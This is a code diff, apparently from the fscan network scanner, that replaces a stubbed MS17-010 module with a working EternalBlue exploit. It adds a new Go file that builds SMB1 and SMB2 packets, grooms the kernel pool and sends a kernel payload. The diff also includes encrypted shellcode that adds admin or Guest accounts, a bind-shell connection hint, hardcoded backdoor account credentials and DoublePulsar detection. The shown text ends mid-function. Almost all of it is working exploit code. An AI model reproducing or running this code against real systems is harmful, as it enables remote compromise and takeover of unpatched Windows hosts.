===\n", target)) // 首先确认漏洞存在 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err)) return &ExploitResult{ @@ -120,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion)) } - // 检测DOUBLEPULSAR后门 - hasBackdoor := p.checkDoublePulsar(info.Host, config) if hasBackdoor { output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n") } else { @@ -134,7 +128,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n") // 执行实际的MS17010利用 - err = p.executeMS17010Exploit(info, config) + err = p.executeMS17010Exploit(info, session) if err != nil { output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err)) return &ExploitResult{ @@ -152,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host)) case "add": output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n") - output.WriteString(" 用户名: fscan 密码: Fscan12345\n") + output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n") output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host)) case "guest": output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n") @@ -190,10 +184,7 @@ func aesDecrypt(crypted string, key string) (string, error) { return "", fmt.Errorf("密文长度过短") } - iv := cryptedBytes[:aes.BlockSize] - cryptedBytes = cryptedBytes[aes.BlockSize:] - - mode := cipher.NewCBCDecrypter(block, iv) + mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize]) mode.CryptBlocks(cryptedBytes, cryptedBytes) // 移除PKCS7填充 @@ -216,16 +207,18 @@ var defaultKey = "0123456789abcdef" // SMB协议加密的请求数据 (从原始MS17010.go复制) var ( - negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" - sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" - treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" - transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" + sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" + treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" + transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" + trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" // SMB协议解密后的请求数据 - negotiateProtocolRequest []byte - sessionSetupRequest []byte - treeConnectRequest []byte - transNamedPipeRequest []byte + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) // 初始化解密SMB协议数据 @@ -279,58 +272,69 @@ func init() { common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) return } + + decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err)) + return + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + common.LogError(i18n.Tr("ms17010_pipe_decode_error", err)) + return + } } // checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配) -func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) { - // 使用统一TCP包装器,支持代理和限流 - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout) +func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) { + return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session) +} + +func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - if state != nil { - state.IncrementTCPFailedPacketCount() - } - return false, "", fmt.Errorf("连接错误: %w", err) + return false, "", false, fmt.Errorf("连接错误: %w", err) } defer func() { _ = conn.Close() }() - if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil { - return false, "", fmt.Errorf("设置超时错误: %w", err) + if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { + return false, "", false, fmt.Errorf("设置超时错误: %w", err) } // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return false, "", fmt.Errorf("发送协议请求错误: %w", err) + return false, "", false, fmt.Errorf("发送协议请求错误: %w", err) } reply := make([]byte, 1024) n, readErr := conn.Read(reply) if readErr != nil || n < 36 { // 连接被关闭或响应不完整,通常表示目标不支持SMBv1 - return false, "", fmt.Errorf("目标可能不支持SMBv1") + return false, "", false, fmt.Errorf("目标可能不支持SMBv1") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMBv1协议协商被拒绝") + return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝") } // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return false, "", fmt.Errorf("发送会话请求错误: %w", err) + return false, "", false, fmt.Errorf("发送会话请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { - return false, "", fmt.Errorf("SMB会话建立失败") + return false, "", false, fmt.Errorf("SMB会话建立失败") } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", fmt.Errorf("SMB会话被拒绝") + return false, "", false, fmt.Errorf("SMB会话被拒绝") } // 提取系统信息 var osVersion string sessionSetupResponse := reply[36:n] - if wordCount := sessionSetupResponse[0]; wordCount != 0 { + if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 { byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n == int(byteCount)+45 { for i := 10; i < len(sessionSetupResponse)-1; i++ { @@ -345,77 +349,67 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Conf // 树连接请求 userID := reply[32:34] - treeConnectRequest[32] = userID[0] - treeConnectRequest[33] = userID[1] + treeConnect := append([]byte(nil), treeConnectRequest...) + treeConnect[32] = userID[0] + treeConnect[33] = userID[1] - if _, err = conn.Write(treeConnectRequest); err != nil { - return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err) + if _, err = conn.Write(treeConnect); err != nil { + return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("树连接响应不完整") + return false, osVersion, false, fmt.Errorf("树连接响应不完整") } // 命名管道请求 treeID := reply[28:30] - transNamedPipeRequest[28] = treeID[0] - transNamedPipeRequest[29] = treeID[1] - transNamedPipeRequest[32] = userID[0] - transNamedPipeRequest[33] = userID[1] + transNamedPipe := append([]byte(nil), transNamedPipeRequest...) + transNamedPipe[28] = treeID[0] + transNamedPipe[29] = treeID[1] + transNamedPipe[32] = userID[0] + transNamedPipe[33] = userID[1] - if _, err = conn.Write(transNamedPipeRequest); err != nil { - return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err) + if _, err = conn.Write(transNamedPipe); err != nil { + return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr) } - return false, osVersion, fmt.Errorf("管道响应不完整") + return false, osVersion, false, fmt.Errorf("管道响应不完整") } // 漏洞检测 - 关键检查点 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - if state != nil { - state.IncrementTCPSuccessPacketCount() + trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...) + trans2SessionSetup[28] = treeID[0] + trans2SessionSetup[29] = treeID[1] + trans2SessionSetup[32] = userID[0] + trans2SessionSetup[33] = userID[1] + + if _, err = conn.Write(trans2SessionSetup); err != nil { + return true, osVersion, false, nil } - return true, osVersion, nil + n, readErr = conn.Read(reply) + if readErr != nil || n < 36 { + return true, osVersion, false, nil + } + + return true, osVersion, reply[34] == 0x51, nil } - if state != nil { - state.IncrementTCPSuccessPacketCount() - } - return false, osVersion, nil + return false, osVersion, false, nil } -// checkDoublePulsar 检测DOUBLEPULSAR后门 -func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool { - // 使用统一TCP包装器,支持代理和限流 - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout) - if err != nil { - return false - } - defer func() { _ = conn.Close() }() - - // 简化的后门检测逻辑 - vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil) - if err != nil || !vulnerable { - return false - } - - // 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false - // 在实际使用中,原始的完整检测逻辑会被保留 - return false -} - -// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口) -func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error { - // address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度 +// executeMS17010Exploit 执行MS17010漏洞利用 +func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error { + config := session.Config var sc string // 根据不同类型选择shellcode (从MS17010-Exp.go复制) @@ -439,7 +433,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com } case "guest": - // 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的) + // 激活Guest账户 shellcode (加密) scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" var err error sc, err = aesDecrypt(scEnc, defaultKey) @@ -447,6 +441,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com return fmt.Errorf("解密guest shellcode失败: %w", err) } + case "cs": + sc = "" + default: // 从文件读取或直接使用提供的shellcode shellcode := config.Shellcode @@ -472,9 +469,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com return fmt.Errorf("shellcode解码失败: %w", err) } - // 这里应该执行完整的EternalBlue利用逻辑 - // 为了保持代码简洁,我们模拟利用成功 - // 在实际使用中,这里会调用完整的eternalBlue函数 + if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { + return fmt.Errorf("MS17-010 exp failed: %w", err) + } common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) return nil diff --git a/plugins/services/ms17010_exp.go b/plugins/services/ms17010_exp.go new file mode 100644 index 0000000..37703f1 --- /dev/null +++ b/plugins/services/ms17010_exp.go @@ -0,0 +1,1054 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { + // check sc size + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 + l := len(sc) + if l > maxscSize { + //fmt.Println(maxscSize) + return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + } + payload := makeKernelUserPayload(sc) + var ( + grooms int + err error + ) + for i := 0; i < maxAttempts; i++ { + grooms = initialGrooms + 5*i + err = exploit(address, grooms, payload) + if err == nil { + return nil + } + } + return err +} + +func exploit(address string, grooms int, payload []byte) error { + // connect host + header, conn, err := smb1AnonymousConnectIPC(address) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + // send SMB1 large buffer + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + err = smb1LargeBuffer(conn, header) + if err != nil { + return err + } + // initialize groom threads + fhsConn, err := smb1FreeHole(address, true) + if err != nil { + return err + } + defer func() { _ = fhsConn.Close() }() + // groom socket + groomConns, err := smb2Grooms(address, grooms) + if err != nil { + return err + } + fhfConn, err := smb1FreeHole(address, false) + if err != nil { + return err + } + _ = fhsConn.Close() + // grooms + groomConns2, err := smb2Grooms(address, 6) + if err != nil { + return err + } + _ = fhfConn.Close() + groomConns = append(groomConns, groomConns2...) + defer func() { + for i := 0; i < len(groomConns); i++ { + _ = groomConns[i].Close() + } + }() + + //fmt.Println("Running final exploit packet") + err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + if err != nil { + return err + } + treeID := header.TreeID + userID := header.UserID + finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") + _, err = conn.Write(finalPacket) + if err != nil { + return fmt.Errorf("failed to send final exploit packet: %s", err) + } + raw, _, err := smb1GetResponse(conn) + if err != nil { + return fmt.Errorf("failed to get response about exploit: %s", err) + } + ntStatus := make([]byte, 4) + ntStatus[0] = raw[8] + ntStatus[1] = raw[7] + ntStatus[2] = raw[6] + ntStatus[3] = raw[5] + + //fmt.Printf("NT Status: 0x%08X\n", ntStatus) + + //fmt.Println("send the payload with the grooms") + + body := makeSMB2Body(payload) + + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[:2920]) + if err != nil { + return err + } + } + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[2920:4073]) + if err != nil { + return err + } + } + return nil +} + +func makeKernelUserPayload(sc []byte) []byte { + // test DoublePulsar + buf := bytes.Buffer{} + buf.Write(loader[:]) + // write sc size + size := make([]byte, 2) + binary.LittleEndian.PutUint16(size, uint16(len(sc))) + buf.Write(size) + buf.Write(sc) + return buf.Bytes() +} + +func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + } + raw, header, err := smb1AnonymousLogin(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + } + _, err = getOSName(raw) + if err != nil { + return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + } + //fmt.Println("OS:", osName) + header, err = treeConnectAndX(conn, address, header.UserID) + if err != nil { + return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + } + ok = true + return header, conn, nil +} + +const smbHeaderSize = 32 + +type smbHeader struct { + ServerComponent [4]byte + SMBCommand uint8 + ErrorClass uint8 + Reserved byte + ErrorCode uint16 + Flags uint8 + Flags2 uint16 + ProcessIDHigh uint16 + Signature [8]byte + Reserved2 [2]byte + TreeID uint16 + ProcessID uint16 + UserID uint16 + MultiplexID uint16 +} + +func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { + // net BIOS + buf := make([]byte, 4) + _, err := io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about NetBIOS session service: %s" + return nil, nil, fmt.Errorf(format, err) + } + typ := buf[0] + if typ != 0x00 { + const format = "invalid message type 0x%02X in SMB1 response" + return nil, nil, fmt.Errorf(format, typ) + } + sizeBuf := make([]byte, 4) + copy(sizeBuf[1:], buf[1:]) + size := int(binary.BigEndian.Uint32(sizeBuf)) + // SMB + buf = make([]byte, size) + _, err = io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about header: %s" + return nil, nil, fmt.Errorf(format, err) + } + smbHeader := smbHeader{} + reader := bytes.NewReader(buf[:smbHeaderSize]) + err = binary.Read(reader, binary.LittleEndian, &smbHeader) + if err != nil { + const format = "failed to parse SMB1 response header: %s" + return nil, nil, fmt.Errorf(format, err) + } + return buf, &smbHeader, nil +} + +func smbClientNegotiate(conn net.Conn) error { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x54}) + + // --------Server Message Block Protocol-------- + + // server_component: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb_command: Negotiate Protocol + buf.WriteByte(0x72) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x28}) + // process_id_high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Negotiate Protocol Request-------- + + // word_count + buf.WriteByte(0x00) + // byte_count + buf.Write([]byte{0x31, 0x00}) + + // dialect name: LAN MAN1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, + 0x30, 0x00}) + + // dialect name: LM1.2X002 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, + 0x32, 0x00}) + + // dialect name: NT LAN MAN 1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, + 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) + + // dialect name: NT LM 0.12 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, + 0x31, 0x32, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return err + } + _, _, err = smb1GetResponse(conn) + return err +} + +func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // session message + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x88}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT SUCCESS + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // Signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // Signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // TreeID + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0D) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x88, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC Number + buf.Write([]byte{0x00, 0x00}) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI password length + buf.Write([]byte{0x01, 0x00}) + // unicode password length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // bytes count + buf.Write([]byte{0x4b, 0x00}) + // ANSI password + buf.WriteByte(0x00) + // account name + buf.Write([]byte{0x00, 0x00}) + // domain name + buf.Write([]byte{0x00, 0x00}) + + // native OS: Windows 2000 2195 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) + buf.Write([]byte{0x00, 0x00}) + + // native LAN manager: Windows 2000 5.0 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, nil, err + } + return smb1GetResponse(conn) +} + +// skip smb header, word count, AndXCommand, Reserved, +// AndXOffset, Action, Byte count and a magic 0x41 (A) +func getOSName(raw []byte) (string, error) { + osBuf := bytes.Buffer{} + reader := bytes.NewReader(raw[smbHeaderSize+10:]) + char := make([]byte, 2) + for { + _, err := io.ReadFull(reader, char) + if err != nil { + return "", err + } + if bytes.Equal(char, []byte{0x00, 0x00}) { + break + } + osBuf.Write(char) + } + osBufLen := osBuf.Len() + osName := make([]byte, 0, osBufLen/2) + b := osBuf.Bytes() + for i := 0; i < osBufLen; i += 2 { + osName = append(osName, b[i]) + } + return string(osName), nil +} + +func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length, it will changed at the end of the function + buf.Write([]byte{0x00, 0x00, 0x00}) + + // --------Server Message Block Protocol-------- + + // server component + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb command: Tree Connect AndX + buf.WriteByte(0x75) + // NT status + 